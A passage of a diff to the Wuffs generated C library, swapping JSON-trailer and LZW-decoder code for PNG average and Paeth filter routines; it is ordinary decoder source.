(WUFFS_JSON__LUT_CLASSES[v_c] != 0u) { -- if (v_whitespace_length > 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_whitespace_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } -- if (self->private_impl.f_trailer_stop > 0u) { -- status = wuffs_base__make_status(wuffs_json__error__bad_input); -- goto exit; -- } -- if (a_dst) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_json__decoder__decode_comment(self, a_dst, a_src); -- if (a_dst) { -- iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -- } -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- if (self->private_impl.f_comment_type > 0u) { -- goto label__outer__continue; -- } -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- iop_a_src += 1u; -- if ((v_whitespace_length >= 65534u) || (v_c == self->private_impl.f_trailer_stop)) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)((v_whitespace_length + 1u))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (v_c == self->private_impl.f_trailer_stop) { -- status = wuffs_base__make_status(NULL); -- goto ok; -- } -- goto label__outer__continue; -- } -- v_whitespace_length += 1u; -+ v_curr.len = 3; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; - } -+ v_curr.len = 0; -+ } -+ } else { -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 3; -+ v_prev.len = 3; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ } -+ v_curr.len = 3; -+ v_prev.len = 3; -+ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); -+ while (v_curr.ptr < i_end1_curr) { -+ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; -+ } -+ v_curr.len = 0; -+ v_prev.len = 0; - } -- label__outer__break:; -- -- ok: -- self->private_impl.p_decode_trailer[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_decode_trailer[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_dst && a_dst->data.ptr) { -- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -- } -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -- -- return status; -+ return wuffs_base__make_empty_struct(); - } - --#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__JSON) -- --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) -- --// ---------------- Status Codes Implementations -- --const char wuffs_lzw__error__bad_code[] = "#lzw: bad code"; --const char wuffs_lzw__error__truncated_input[] = "#lzw: truncated input"; --const char wuffs_lzw__error__internal_error_inconsistent_i_o[] = "#lzw: internal error: inconsistent I/O"; -- --// ---------------- Private Consts -- --#define WUFFS_LZW__QUIRKS_BASE 1348378624 -- --// ---------------- Private Initializer Prototypes -- --// ---------------- Private Function Prototypes -+// -------- func png.decoder.filter_3_distance_4_fallback - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__empty_struct --wuffs_lzw__decoder__read_from( -- wuffs_lzw__decoder* self, -- wuffs_base__io_buffer* a_src); -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_lzw__decoder__write_to( -- wuffs_lzw__decoder* self, -- wuffs_base__io_buffer* a_dst); -- --// ---------------- VTables -- --const wuffs_base__io_transformer__func_ptrs --wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer = { -- (uint64_t(*)(const void*, -- uint32_t))(&wuffs_lzw__decoder__get_quirk), -- (uint64_t(*)(const void*))(&wuffs_lzw__decoder__history_retain_length), -- (wuffs_base__status(*)(void*, -- uint32_t, -- uint64_t))(&wuffs_lzw__decoder__set_quirk), -- (wuffs_base__status(*)(void*, -- wuffs_base__io_buffer*, -- wuffs_base__io_buffer*, -- wuffs_base__slice_u8))(&wuffs_lzw__decoder__transform_io), -- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzw__decoder__workbuf_len), --}; -- --// ---------------- Initializer Implementations -- --wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT --wuffs_lzw__decoder__initialize( -- wuffs_lzw__decoder* self, -- size_t sizeof_star_self, -- uint64_t wuffs_version, -- uint32_t options){ -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (sizeof(*self) != sizeof_star_self) { -- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -- } -- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -- } -+wuffs_png__decoder__filter_3_distance_4_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ uint8_t v_fa0 = 0; -+ uint8_t v_fa1 = 0; -+ uint8_t v_fa2 = 0; -+ uint8_t v_fa3 = 0; - -- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -- // The whole point of this if-check is to detect an uninitialized *self. -- // We disable the warning on GCC. Clang-5.0 does not have this warning. --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" --#endif -- if (self->private_impl.magic != 0) { -- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ if (((uint64_t)(a_prev.len)) == 0u) { -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ v_curr.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_fa3 = ((uint8_t)(((uint8_t)(v_fa3 / 2u)) + v_curr.ptr[3u])); -+ v_curr.ptr[3u] = v_fa3; -+ v_curr.ptr += 4; -+ } -+ v_curr.len = 0; - } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif - } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); -+ v_curr.ptr[0u] = v_fa0; -+ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); -+ v_curr.ptr[1u] = v_fa1; -+ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); -+ v_curr.ptr[2u] = v_fa2; -+ v_fa3 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa3)) + ((uint32_t)(v_prev.ptr[3u]))) / 2u))) + v_curr.ptr[3u])); -+ v_curr.ptr[3u] = v_fa3; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ } -+ v_curr.len = 0; -+ v_prev.len = 0; - } - } -- -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -- wuffs_base__io_transformer__vtable_name; -- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -- (const void*)(&wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer); -- return wuffs_base__make_status(NULL); -+ return wuffs_base__make_empty_struct(); - } - --wuffs_lzw__decoder* --wuffs_lzw__decoder__alloc(void) { -- wuffs_lzw__decoder* x = -- (wuffs_lzw__decoder*)(calloc(sizeof(wuffs_lzw__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_lzw__decoder__initialize( -- x, sizeof(wuffs_lzw__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -- } -- return x; --} -+// -------- func png.decoder.filter_4 - --size_t --sizeof__wuffs_lzw__decoder(void) { -- return sizeof(wuffs_lzw__decoder); -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ return (*self->private_impl.choosy_filter_4)(self, a_curr, a_prev); - } - --// ---------------- Function Implementations -- --// -------- func lzw.decoder.get_quirk -- - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_lzw__decoder__get_quirk( -- const wuffs_lzw__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4__choosy_default( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ uint64_t v_filter_distance = 0; -+ uint64_t v_n = 0; -+ uint64_t v_i = 0; -+ uint32_t v_fa = 0; -+ uint32_t v_fb = 0; -+ uint32_t v_fc = 0; -+ uint32_t v_pp = 0; -+ uint32_t v_pa = 0; -+ uint32_t v_pb = 0; -+ uint32_t v_pc = 0; - -- if (a_key == 1348378624u) { -- return ((uint64_t)(self->private_impl.f_pending_literal_width_plus_one)); -+ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); -+ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); -+ v_i = 0u; -+ while ((v_i < v_n) && (v_i < v_filter_distance)) { -+ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); -+ v_i += 1u; - } -- return 0u; -+ v_i = v_filter_distance; -+ while (v_i < v_n) { -+ v_fa = ((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])); -+ v_fb = ((uint32_t)(a_prev.ptr[v_i])); -+ v_fc = ((uint32_t)(a_prev.ptr[(v_i - v_filter_distance)])); -+ v_pp = ((uint32_t)(((uint32_t)(v_fa + v_fb)) - v_fc)); -+ v_pa = ((uint32_t)(v_pp - v_fa)); -+ if (v_pa >= 2147483648u) { -+ v_pa = ((uint32_t)(0u - v_pa)); -+ } -+ v_pb = ((uint32_t)(v_pp - v_fb)); -+ if (v_pb >= 2147483648u) { -+ v_pb = ((uint32_t)(0u - v_pb)); -+ } -+ v_pc = ((uint32_t)(v_pp - v_fc)); -+ if (v_pc >= 2147483648u) { -+ v_pc = ((uint32_t)(0u - v_pc)); -+ } -+ if ((v_pa <= v_pb) && (v_pa <= v_pc)) { -+ } else if (v_pb <= v_pc) { -+ v_fa = v_fb; -+ } else { -+ v_fa = v_fc; -+ } -+ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(v_fa)))); -+ v_i += 1u; -+ } -+ return wuffs_base__make_empty_struct(); - } - --// -------- func lzw.decoder.set_quirk -+// -------- func png.decoder.filter_4_distance_3_fallback - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_lzw__decoder__set_quirk( -- wuffs_lzw__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_3_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ uint32_t v_fa0 = 0; -+ uint32_t v_fa1 = 0; -+ uint32_t v_fa2 = 0; -+ uint32_t v_fb0 = 0; -+ uint32_t v_fb1 = 0; -+ uint32_t v_fb2 = 0; -+ uint32_t v_fc0 = 0; -+ uint32_t v_fc1 = 0; -+ uint32_t v_fc2 = 0; -+ uint32_t v_pp0 = 0; -+ uint32_t v_pp1 = 0; -+ uint32_t v_pp2 = 0; -+ uint32_t v_pa0 = 0; -+ uint32_t v_pa1 = 0; -+ uint32_t v_pa2 = 0; -+ uint32_t v_pb0 = 0; -+ uint32_t v_pb1 = 0; -+ uint32_t v_pb2 = 0; -+ uint32_t v_pc0 = 0; -+ uint32_t v_pc1 = 0; -+ uint32_t v_pc2 = 0; - -- if (a_key == 1348378624u) { -- if (a_value > 9u) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 3; -+ v_prev.len = 3; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fb0 = ((uint32_t)(v_prev.ptr[0u])); -+ v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); -+ v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); -+ if (v_pa0 >= 2147483648u) { -+ v_pa0 = ((uint32_t)(0u - v_pa0)); -+ } -+ v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); -+ if (v_pb0 >= 2147483648u) { -+ v_pb0 = ((uint32_t)(0u - v_pb0)); -+ } -+ v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); -+ if (v_pc0 >= 2147483648u) { -+ v_pc0 = ((uint32_t)(0u - v_pc0)); -+ } -+ if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { -+ } else if (v_pb0 <= v_pc0) { -+ v_fa0 = v_fb0; -+ } else { -+ v_fa0 = v_fc0; -+ } -+ v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); -+ v_fa0 = ((uint32_t)(v_curr.ptr[0u])); -+ v_fc0 = v_fb0; -+ v_fb1 = ((uint32_t)(v_prev.ptr[1u])); -+ v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); -+ v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); -+ if (v_pa1 >= 2147483648u) { -+ v_pa1 = ((uint32_t)(0u - v_pa1)); -+ } -+ v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); -+ if (v_pb1 >= 2147483648u) { -+ v_pb1 = ((uint32_t)(0u - v_pb1)); -+ } -+ v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); -+ if (v_pc1 >= 2147483648u) { -+ v_pc1 = ((uint32_t)(0u - v_pc1)); -+ } -+ if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { -+ } else if (v_pb1 <= v_pc1) { -+ v_fa1 = v_fb1; -+ } else { -+ v_fa1 = v_fc1; -+ } -+ v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); -+ v_fa1 = ((uint32_t)(v_curr.ptr[1u])); -+ v_fc1 = v_fb1; -+ v_fb2 = ((uint32_t)(v_prev.ptr[2u])); -+ v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); -+ v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); -+ if (v_pa2 >= 2147483648u) { -+ v_pa2 = ((uint32_t)(0u - v_pa2)); -+ } -+ v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); -+ if (v_pb2 >= 2147483648u) { -+ v_pb2 = ((uint32_t)(0u - v_pb2)); -+ } -+ v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); -+ if (v_pc2 >= 2147483648u) { -+ v_pc2 = ((uint32_t)(0u - v_pc2)); -+ } -+ if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { -+ } else if (v_pb2 <= v_pc2) { -+ v_fa2 = v_fb2; -+ } else { -+ v_fa2 = v_fc2; -+ } -+ v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); -+ v_fa2 = ((uint32_t)(v_curr.ptr[2u])); -+ v_fc2 = v_fb2; -+ v_curr.ptr += 3; -+ v_prev.ptr += 3; - } -- self->private_impl.f_pending_literal_width_plus_one = ((uint32_t)(a_value)); -- return wuffs_base__make_status(NULL); -+ v_curr.len = 0; -+ v_prev.len = 0; - } -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ return wuffs_base__make_empty_struct(); - } - --// -------- func lzw.decoder.history_retain_length -+// -------- func png.decoder.filter_4_distance_4_fallback - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_lzw__decoder__history_retain_length( -- const wuffs_lzw__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func lzw.decoder.workbuf_len -+static wuffs_base__empty_struct -+wuffs_png__decoder__filter_4_distance_4_fallback( -+ wuffs_png__decoder* self, -+ wuffs_base__slice_u8 a_curr, -+ wuffs_base__slice_u8 a_prev) { -+ wuffs_base__slice_u8 v_curr = {0}; -+ wuffs_base__slice_u8 v_prev = {0}; -+ uint32_t v_fa0 = 0; -+ uint32_t v_fa1 = 0; -+ uint32_t v_fa2 = 0; -+ uint32_t v_fa3 = 0; -+ uint32_t v_fb0 = 0; -+ uint32_t v_fb1 = 0; -+ uint32_t v_fb2 = 0; -+ uint32_t v_fb3 = 0; -+ uint32_t v_fc0 = 0; -+ uint32_t v_fc1 = 0; -+ uint32_t v_fc2 = 0; -+ uint32_t v_fc3 = 0; -+ uint32_t v_pp0 = 0; -+ uint32_t v_pp1 = 0; -+ uint32_t v_pp2 = 0; -+ uint32_t v_pp3 = 0; -+ uint32_t v_pa0 = 0; -+ uint32_t v_pa1 = 0; -+ uint32_t v_pa2 = 0; -+ uint32_t v_pa3 = 0; -+ uint32_t v_pb0 = 0; -+ uint32_t v_pb1 = 0; -+ uint32_t v_pb2 = 0; -+ uint32_t v_pb3 = 0; -+ uint32_t v_pc0 = 0; -+ uint32_t v_pc1 = 0; -+ uint32_t v_pc2 = 0; -+ uint32_t v_pc3 = 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_lzw__decoder__workbuf_len( -- const wuffs_lzw__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ { -+ wuffs_base__slice_u8 i_slice_curr = a_curr; -+ v_curr.ptr = i_slice_curr.ptr; -+ wuffs_base__slice_u8 i_slice_prev = a_prev; -+ v_prev.ptr = i_slice_prev.ptr; -+ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); -+ v_curr.len = 4; -+ v_prev.len = 4; -+ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); -+ while (v_curr.ptr < i_end0_curr) { -+ v_fb0 = ((uint32_t)(v_prev.ptr[0u])); -+ v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); -+ v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); -+ if (v_pa0 >= 2147483648u) { -+ v_pa0 = ((uint32_t)(0u - v_pa0)); -+ } -+ v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); -+ if (v_pb0 >= 2147483648u) { -+ v_pb0 = ((uint32_t)(0u - v_pb0)); -+ } -+ v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); -+ if (v_pc0 >= 2147483648u) { -+ v_pc0 = ((uint32_t)(0u - v_pc0)); -+ } -+ if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { -+ } else if (v_pb0 <= v_pc0) { -+ v_fa0 = v_fb0; -+ } else { -+ v_fa0 = v_fc0; -+ } -+ v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); -+ v_fa0 = ((uint32_t)(v_curr.ptr[0u])); -+ v_fc0 = v_fb0; -+ v_fb1 = ((uint32_t)(v_prev.ptr[1u])); -+ v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); -+ v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); -+ if (v_pa1 >= 2147483648u) { -+ v_pa1 = ((uint32_t)(0u - v_pa1)); -+ } -+ v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); -+ if (v_pb1 >= 2147483648u) { -+ v_pb1 = ((uint32_t)(0u - v_pb1)); -+ } -+ v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); -+ if (v_pc1 >= 2147483648u) { -+ v_pc1 = ((uint32_t)(0u - v_pc1)); -+ } -+ if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { -+ } else if (v_pb1 <= v_pc1) { -+ v_fa1 = v_fb1; -+ } else { -+ v_fa1 = v_fc1; -+ } -+ v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); -+ v_fa1 = ((uint32_t)(v_curr.ptr[1u])); -+ v_fc1 = v_fb1; -+ v_fb2 = ((uint32_t)(v_prev.ptr[2u])); -+ v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); -+ v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); -+ if (v_pa2 >= 2147483648u) { -+ v_pa2 = ((uint32_t)(0u - v_pa2)); -+ } -+ v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); -+ if (v_pb2 >= 2147483648u) { -+ v_pb2 = ((uint32_t)(0u - v_pb2)); -+ } -+ v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); -+ if (v_pc2 >= 2147483648u) { -+ v_pc2 = ((uint32_t)(0u - v_pc2)); -+ } -+ if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { -+ } else if (v_pb2 <= v_pc2) { -+ v_fa2 = v_fb2; -+ } else { -+ v_fa2 = v_fc2; -+ } -+ v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); -+ v_fa2 = ((uint32_t)(v_curr.ptr[2u])); -+ v_fc2 = v_fb2; -+ v_fb3 = ((uint32_t)(v_prev.ptr[3u])); -+ v_pp3 = ((uint32_t)(((uint32_t)(v_fa3 + v_fb3)) - v_fc3)); -+ v_pa3 = ((uint32_t)(v_pp3 - v_fa3)); -+ if (v_pa3 >= 2147483648u) { -+ v_pa3 = ((uint32_t)(0u - v_pa3)); -+ } -+ v_pb3 = ((uint32_t)(v_pp3 - v_fb3)); -+ if (v_pb3 >= 2147483648u) { -+ v_pb3 = ((uint32_t)(0u - v_pb3)); -+ } -+ v_pc3 = ((uint32_t)(v_pp3 - v_fc3)); -+ if (v_pc3 >= 2147483648u) { -+ v_pc3 = ((uint32_t)(0u - v_pc3)); -+ } -+ if ((v_pa3 <= v_pb3) && (v_pa3 <= v_pc3)) { -+ } else if (v_pb3 <= v_pc3) { -+ v_fa3 = v_fb3; -+ } else { -+ v_fa3 = v_fc3; -+ } -+ v_curr.ptr[3u] = ((uint8_t)(v_curr.ptr[3u] + ((uint8_t)(v_fa3)))); -+ v_fa3 = ((uint32_t)(v_curr.ptr[3u])); -+ v_fc3 = v_fb3; -+ v_curr.ptr += 4; -+ v_prev.ptr += 4; -+ } -+ v_curr.len = 0; -+ v_prev.len = 0; - } -- -- return 